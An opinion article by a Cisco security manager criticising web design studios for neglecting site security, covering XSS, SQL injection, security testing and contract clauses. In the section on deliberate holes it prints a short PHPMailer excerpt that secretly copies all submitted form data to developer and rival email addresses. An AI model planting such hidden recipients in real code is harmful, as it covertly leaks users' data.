Thinking about web design studios and a secured site

By Aleksey Lukatsky, business development manager in Cisco Systems company.
Published with the author's permission

Having a personal internet site is all the rage nowadays. However, a simple showcase of a company in the internet is not sufficient, it must be strongly secured from the virtual graffiti geeks (fig. 1). A sign like «Pat & Mike were here» (fig. 2) at a main page is the minimum damage they may cause. A worst outcome could be that a site is wiped off the internet, or the data stored is stolen or illegally modified. It is a common knowledge that prevention is better than cure. We may say the same about the information security. It is more effective to elaborate site security already on а stage of its development and programming. However, can a web design studio ensure the security of its work?
 

Fig. 1. The internet and fence is just the same. They will bear anything including graffiti. 


Fig. 2. Today’s hackers not only follow their principles but also try to be loyal.

The author reviewed a number of web sites of some design studios, including famous ones, that offered web design services (rather expensive, I should say). It was surprising that none of them mentioned such concept as «a secure site» in their portfolio. Moreover, the model contracts contained nothing concerning security.

Is this incompetence or intended reluctance to get involved into an obscure IT field, the one having lots of surprises? Unfortunately, we must admit the former to be the right answer. I’ll try to illustrate this thesis, relying on my experience of participation in numerous web projects.

Incompetence verged on disrespect for a client…

In a contract of a company, claiming itself one of the leading ones on the Russian web design market, a security section contains three sentences only: «Standard web protocols ensure the security of data transfer. Hosting service provider is in charge of the physical data integrity. Cookies are used for web system operation.» That’s what they call the security. The only cautions it implies are the encryption of information transferred between a web server and a client browser, and limiting the access to the hardware on which a site runs. Other conditions in respect to the web site creation (navigation, design, functionality etc.) are described clearly.

Ok. A contract is usually drawn up for lawyers who know not much about information security. Nevertheless, since the provider is responsible for the integrity of the client information, the documentation is to contain main security provision facilities.
It is to be so, but… Few prescriptions that the system administrator manual contains make me shiver. IP access restriction is the only way to ensure security! They mean – of an external resource! I wonder how web system developers intend to use such a facility. Hey, do I have to ask my potential visitors their IP addresses before I launch my site? 

Either the technical writers couldn’t find time for asking the developers how they plan to guarantee the information integrity or this documentation section was last updated long ago. You know, these things happen. Probably it’ll sort itself out. On the other hand, should we still go for the answer to the technical director of the company, as he is the one of its founders and idea-mongers. He is sure to know the security issues of his product well.

However, the answers the author received from the mentioned above expert shocked him a lot. Firstly, the latter was not aware of such attack as Cross Site Scripting (XSS), though it has been known for a long time already, and can cause leakage of confidential information, password theft, a user session hijack etc. This vulnerability used to exist in such e-stores as Barnes&Nobles, McDonald's, Phillip Morris, WallMart etc. Vulnerability of this type allows to inject a script into a page content. A disclosure of the user’s cookie, including user’s name and password, is one of the common purposes of this attack. Since user ID and password are stored in the web system in clear form, a malicious person can easily gain access to them.

When the author drew the technical director’s attention to this vulnerability, the latter claimed the following: «To access cookie, it is essential to obtain physical access to the machine. Vulnerabilities caused by the operations for which the physical access is needed are as dangerous as robbers in masks trying to learn the password manually». After putting the director clearly in the picture and demonstrating him the method of XSS attack, his ardour was a little damped; however, he refused to eliminate the hole referring the fact that «…common users, who «simply came from the internet» should think of their security themselves. Moreover, they do not have any rights to be liable to unauthorized operations on their behalf».

From bad to worse: at present, most sites do not consist of static HTML pages; they operate dynamically by generating the web content on-the-fly. This means that all the text portions, which build the final page transferred to the user, are stored in the database. On one hand, this simplifies work with site, on the other – increases the number of security problems. The most widely spread issue is the SQL Injection attack.

The number of stored SQL server procedures (Microsoft SQL, Oracle, MySQL etc.) build query which is further executed via the exec function, based on parameters transferred. It is sufficient for a malicious person to modify the query parameters in a special way and execute an arbitrary SQL query on the database server. Under such conditions, any query that may come to a malicious mind can be implemented. For example: 

• enter a new account into the list of site users; 
• data manipulation (fancy that being applied to an e-commerce server, e-store etc.);
• page content modification; 
• remove any users data or accounts; 
• access the table with users passwords etc.

The paradox is that the this hole already existed in the first version of a web site we had to analyze - that is, since 1997. The express analysis of sites built by the developer company in question revealed similar issue in the whole «generation». There are great companies, whose sites hijacking is a dream of every dummy hacker novice, among the clients of this ambitious company, that had set itself the object «…to rank among the 500 largest IT companies In Russia by 2010».

Having examined the holes like that (and those were several tens) the author didn’t know whether to laugh or cry when he listened to the statements of the project manager – «…the code we supply was tested a thousand times and is proved by time and clients». I really don't know what was tested there and who tested it, but evidently, they were not aware of the information security issues.

All the text bricks, which build the final page available to the user, are stored in the database. Undoubtedly, this simplifies work with site, but at the same time increases the number of security problems. The most widely spread of them is the SQL Injection attack.

…or a crime

However, holes are not always caused by incompetence of the developer-company. Sometimes this is a result of deliberate operations as it was, for example, in the other project the author had taken part in. I will not get into ins and outs of the project, but just describe the code, which was detected while analyzing the original code of the developed site. It should be noticed that the following illustration is just a code excerpt devoted to illustrate my statements; all interim calls omitted to aim your focus on the subject (all e-mail addresses are artificial).

   $mail = new PHPMailer();
   $mail->From = EMAIL_FROM;
   $mail->AddAddress($email);
   $mail->AddAddress("rival@rival.com");
   $mail->AddAddress("webstudio@webstudio.com");
   $mail->Send();

Evidently, the fragment describes sending the certain information obtained from the site from via email. It can be the feed back form, job application, purchase with credit card etc. According to the requirements specification the information must have been sent to the address indicated in the variable email, and it was so, but… the developers had not fail to indicate in the code their own addresses, to which a copy of all data inputted on site should have been sent. Of course, it could be considered an unfortunate mishap appeared during the site testing, but I can’t believe the release build contained those two emails «by occasion» (only one is sufficient for testing, though).

Testing and security

Ok, let’s drop these malicious code insertions; now let's get down to reasons of the web system developers incompetence. The main of them is misunderstanding the gist of information security. Software like that is not just a functional module for a site. Information security is an integral and continuous process which is to convoy the site since the moment of its developing till the end of its lifecycle.

Today’s level of hacker technologies pushes us to going beyond IP access restriction (frankly speaking, this idea is a nonsense, though). The complex protection is required, consisting of a competent filtering out input values, encryption of the user registration data, prohibiting the unauthorized access to database etc.

This however is not sufficient either. Even the fully implemented security mechanisms require the testing. The second reason bringing about the vulnerable sites developing is the lack of testing for immunity. 

The site software testing and the site security testing are two different things. The former stipulates the developer to check the presence of functional modules (including the security modules) and their functional conformity to the requirements specification. However, the module presence does not indicate that it is liable or resistant to attacks.

Let’s take an example: the requirements specification contains the following clause: «the password protected user registration». When checking this module the tester usually attempts to register under different accounts on site, and if he succeeds, he «checks the box» and consider his job is done. However, the issue of the module security remains open. Meanwhile, this module can have the following potential drawbacks:

• allowing to not use passwords at all;
• not checking the length of entered passwords which may lead to «buffer overflow» attacks;
• not checking the entered text which may appear not to be a password but an executed code; 
• not encrypting the user input; 
• allowing to learn or brute force the username and password of the registered user etc.

None of the problems listed above are possible to reveal during the common functional testing; this requires the security testing. Who can do it? Definitely not the programmer who wrote the code, as he cannot see his own mistakes, let alone the security holes. It is only well qualified expert who can check the code. 

Unfortunately the author has not heard yet of the web studios which would have such specialists in the staff or invite the outside specialists. This is caused by the number of reasons: they do not want to admit their mistakes, give access to the code, and share the profit. Though, often web studio staff is just self-conceited people or those who do not understand the crux of the information security problem. However, the original reason is not as important as the fact that sites remain unsecured, which is used by the hacker community.

The module functional conformity to the requirements specification does not indicate that it is liable or resistant to attacks. 

However, only a few of those who proclaim themselves specialists are such. Let’s take two examples of site projects. For the former «quirky» clients invited a group of security specialists well known in the narrow circle, for the latter – a «tough» company carrying on a wide spectrum of the information security services from risks analysis to supplying box products. In both cases the result was the same (the costs for the services differed drastically though): «the specialists» scanned the site with free scanners Nessus and Nikto and presented the report about the absence of the holes, but they didn’t assume that their attempts had been blocked by the attack prevention system, installed on the web site.

But what the most mournful in these «life examples» is that even when web studios were indicated the blunders and were asked to eliminate ones, the developers tried all ways not to admit their mistakes and (duck out) dodge the responsibility. In the situation mentioned above the «holes», elimination process was tarried (delayed) for several months. At first, the studio refused to admit the presence of vulnerabilities in the code. After the impressive demonstration, they assured that the holes were not serious and clients could think of their site security themselves. Then they demanded extra payment from the client motivating it by the following: «…the requirements specification did not contain these security requirements, therefore these issues can be implemented only after the conclusion of an additional agreement».

It came to the web studio’s requirement to «…indicate all the attacks, from which your site is to be secured, in the requirements specification». The situation was got moving forward only after the «big gun» in the person of the client top manager committed to “battle”. You may ask: «And what about the other sites based on that engine?" Nothing! They remain unsecured, as their owners just don’t know what a «dirty trick» was played on them by the web studio rendering «…the professional services on the market of internet/intranet systems development and managing corporative web information of any sophistication level».
Both you and a web studio aim to develop a site, but ways to achieve this aim are different. You want to gain maximum facilities at minimum expenses, and the studio – to make minimum efforts at maximum profits.

Watch and remember

The numerous issues (from sketching target group to working system security) discussed with different web studios allowed the author to develop a number of recommendations that could make a small book. That’s why the site security is the only aspect we will touch. But I must warn that recommendations listed below are not full – these are just the most widely spread problems the author had been confronted by.
The first and the most important recommendation is to carefully study agreement before signing. You shouldn’t only entrust this task to the legal expert of your company. Of course, he is on your side but being not aware of the information security issues, he may visa document for which you «will be skinned alive».
My colleagues did not face such difficulty due to their attentiveness. In spite of the fact that at the stage of the agreement conclusion the project manager claimed: «…we practice solving the simple functionality matters at the stage of developing and prototyping» (mind the style! – it is aimed to make the client feel «ignorant» and ask no more), there was a very interesting clause in the agreement: «…the studio is entitled not to implement features that were not stipulated by the agreement». In other words, «having promised the moon», they can simply forget the promises.
Without fail, the agreement/requirements specification must contain the functional requirements ensuring the following:

• prohibition to store password in the open form (in site database or in cookie);
• protection against the attacks known for the time of the agreement signing;
• protection against the user session hijack (nobody could write on behalf of someone else in forums or in feedback);
• filtering out input values;
• prohibition to send password in the open form to email on record, etc.

Don’t forget to include the security testing in the planned schedule of the project and get more specific information about what is to be coordinated with the client of the project studio (thus it will be clear what specialists will test the site). If you don’t trust the studio in this matter, than I recommend you to find the company that would do the test your site for holes. The Positive Technologies company  could be a possible candidate. It is well known on the market with its security scanner MaxPatrol.
If the testing cost includes the personnel training of the new web system maintenance, don’t forget also to include the security training into the plan.

There is another point I would like to discuss. Practically all web studios include the following clause into the agreement: «the studio is entitled to place the web design elements, the client’s name on the studio’s web site and to indicate the authorship on the main page of the client’s web system». The purpose of this is clear – the web studio wants to boast of their work to the potential clients. The reasons for this are plain, but what is it worth for you? What problem do you solve allowing such clause in the agreement?  But hackers will get thereby an important information about the platform on which your site is built, thus they can easily choose the way of attack.

And the last but not the least… recommendation. Often an agreement contains such clause: «The client must provide access to the web system to allow for the warranty services. If no remote access to the web system is available, the warranty services are not rendered».  As for web studio specialists – this clause makes their life much easier as they cannot be called upon every customer’s insignificant demand, but it brings many problems to the site owner. If the site is hosted on a server within your corporate network, ask yourself the following questions:

 • Are you ready to invite/let a third party organization into your network?
 • How is the network security of this third party organization ensured?
 • What if the external networking turns to be an additional channel for hackers or viruses penetration?
 • And if it does, whether the external organization is responsible for the security occurrence in your network (downtime, refusals, leakage etc.)?

If the answer to any of these questions is not satisfactory, do not let the web studio into your network, even if it has good intentions. You are the only responsible for your network security, aren’t you?

Do not allow studio guys to indicate their name on the main page of your site. On the contrary, hackers will get thereby important information about the platform on which your site is built; thus, they can easily choose the way to attack.

Epilogue

First. Do not believe a lavish with promises company, rendering web-building services (whether you need personal or corporate site, e-store, portal etc.). Every project the author took part in such tempting/suggestive words flew like water, but in reality, everything was different. Remember: although both you and a web studio aim to develop a site, ways to achieve this aim are different. You want to gain maximum facilities at minimum expenses, and the satisfier of your whims – on the contrary – to make minimum efforts and gain maximum profits. Thus, the studio will save on everything that is «not noticeable» and difficult to check during acceptance of the release system. Remember: the security (as well as efficiency) is the first to «be dismissed».

Second. Having received the secured site from the web studio, don’t relax – as there begins long, continuous, and rather routine process ensuring its readiness to different hackers pranks. In addition, this implies you must continuously:

 • monitor the state of web server security;
 • install new patches;
 • react/resist to attacks etc.

If you are not sure you can totally control these factors, you might want to render your security tasks to any company specialized in security. But this is to be discussed in other article.